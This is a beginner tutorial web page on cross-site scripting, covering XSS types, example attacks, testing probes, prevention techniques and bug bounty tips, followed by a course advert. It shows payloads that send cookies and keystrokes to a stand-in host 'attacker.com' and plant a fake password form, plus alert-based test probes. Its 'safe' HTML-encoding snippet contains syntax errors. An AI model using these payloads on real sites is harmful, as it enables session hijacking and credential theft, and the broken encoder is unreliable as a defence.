🚀 Cyber Security New Batch Start from 1 JunEnroll Now
Cyber Defence
CYBERDEFENCE
Web Security

XSS Attacks Explained

Cross-Site Scripting for Beginners: Types, Examples & Complete Protection Guide 2026

By Amit Kumar

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a code injection attack that allows attackers to execute malicious JavaScript in the browsers of other users. When a vulnerable web page renders user input without proper sanitization, attackers can inject scripts that steal session cookies, redirect users, or modify page content.

XSS ranks #3 in the OWASP Top 10 web application security risks. According to research, approximately 40% of all web applications have some form of XSS vulnerability. Attackers exploit these vulnerabilities to hijack user sessions, deface websites, or redirect users to malicious sites.

XSS Attack Flow

1
Attacker Injects Script
2
Server Stores/Reflects
3
Victim Visits Page
4
Script Executes

Why XSS Matters

A successful XSS attack can compromise user accounts, inject malware, or allow attackers to perform actions on behalf of users without their knowledge.

Three Types of XSS Attacks

Understanding the different XSS types helps you identify and prevent each variant.

Reflected XSS

Script is injected via URL parameters and reflected off the server without storage. Non-persistent.

  • - URL-based attacks
  • - Social engineering needed
  • - Quick delivery via links
Stored XSS

Malicious script is permanently stored on the target server. Most dangerous type.

  • - Persistent attack
  • - Affects all visitors
  • - Database injection
DOM-based XSS

Client-side JavaScript processes user input and dynamicall modifies the DOM.

  • - Pure client-side
  • - Server-side blind
  • - Angular/React targets

Type Comparison Table

TypePersistenceSeverityDetection
ReflectedNon-persistentMediumEasy - URL inspection
StoredPermanentCriticalHarder - requires code review
DOM-basedClient-sideMedium-HighRequires JS analysis

Real XSS Attack Examples

Understanding how XSS works with practical examples.

1. Cookie Stealing

<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

When executed, this script sends the victim's cookies to the attacker's server, allowing session hijacking.

2. Keylogger Injection

<script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>

Every keystroke is sent to the attacker's server, capturing passwords, credit card numbers, and sensitive data.

3. Phishing via Fake Forms

<script>document.write('<form action="https://attacker.com/fake">Enter Password: <input type="password"><input type="submit"></form>')</script>

Creates a fake login form that captures credentials and sends them to the attacker.

Impact of XSS Attacks

Session Hijacking

Steal session cookies to take over user accounts without knowing passwords

Credential Theft

Capture usernames and passwords through fake login forms or keyloggers

Malware Distribution

Inject drive-by-download scripts that install malware on visitors computers

Website Defacement

Modify visible content to display misleading information or propaganda

Phishing Attacks

Create fake overlays that look legitimate to steal sensitive information

CSRF Attacks

Perform unauthorized actions on behalf of logged-in users

How to Find XSS Vulnerabilities

Manual Testing

Test every input field and URL parameter with XSS payloads:

<script>alert('XSS')</script>
"><script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
' onmouseover=alert('XSS') x='

Automated Tools

Burp Suite

Professional web security scanner with active and passive scanning capabilities

OWASP ZAP

Free open-source scanner with comprehensive XSS detection

XSStrike

Specialized XSS scanner with fuzzing and DOM analysis

Nuclei

Fast template-based vulnerability scanner with XSS templates

XSS Prevention Techniques

Input Validation

Validate all user input on server-side. Reject or sanitize potentially dangerous characters.

Output Encoding

Encode output based on context (HTML, JavaScript, URL, CSS) to prevent script execution.

Content Security Policy

Implement CSP headers to control which scripts can execute on your pages.

HttpOnly Cookies

Mark session cookies with HttpOnly flag to prevent JavaScript access.

Use Security Frameworks

Leverage React, Angular, or Vue built-in sanitization features.

Regular Security Testing

Conduct penetration testing and code reviews to find vulnerabilities early.

Example: Safe Output Encoding in JavaScript

// Use textContent instead of innerHTML
element.textContent = userInput;

// For HTML context, encode special characters
function encodeHTML(str) {
  return str.replace(/[&<>"']/g, c => {
    '&': '&amp;', '<': '&lt;', '>': '&gt;',
    '"': '&quot;', ''': '&#39;' }[c]);
}

XSS in Modern Web Applications

Modern frameworks have built-in protections, but vulnerabilities still exist.

ReactEscapes by default with JSX

Risk: DangerouslySetInnerHTML bypasses protection

AngularSanitizes by default

Risk: Bypass with bypassSecurityTrust methods

VueAuto-escapes in templates

Risk: v-html directive can introduce XSS

Bug Bounty Tips for XSS

Where to look and what to test when hunting for XSS.

1Test all URL parameters and query strings
2Look for reflected input in HTML source
3Check comment fields, profile bios, and user-generated content
4Test file upload functionality for filename XSS
5Analyze JavaScript variables that receive user input
6Check API endpoints for JSON payload injection
7Test social media-style input fields
8Look for markdown or rich text editors

Learn Web Application Security at Cyber Defence

Master XSS, SQL injection, and other web vulnerabilities in our hands-on ethical hacking course. Learn attack techniques and defense strategies from certified professionals.

View Ethical Hacking CourseContact Us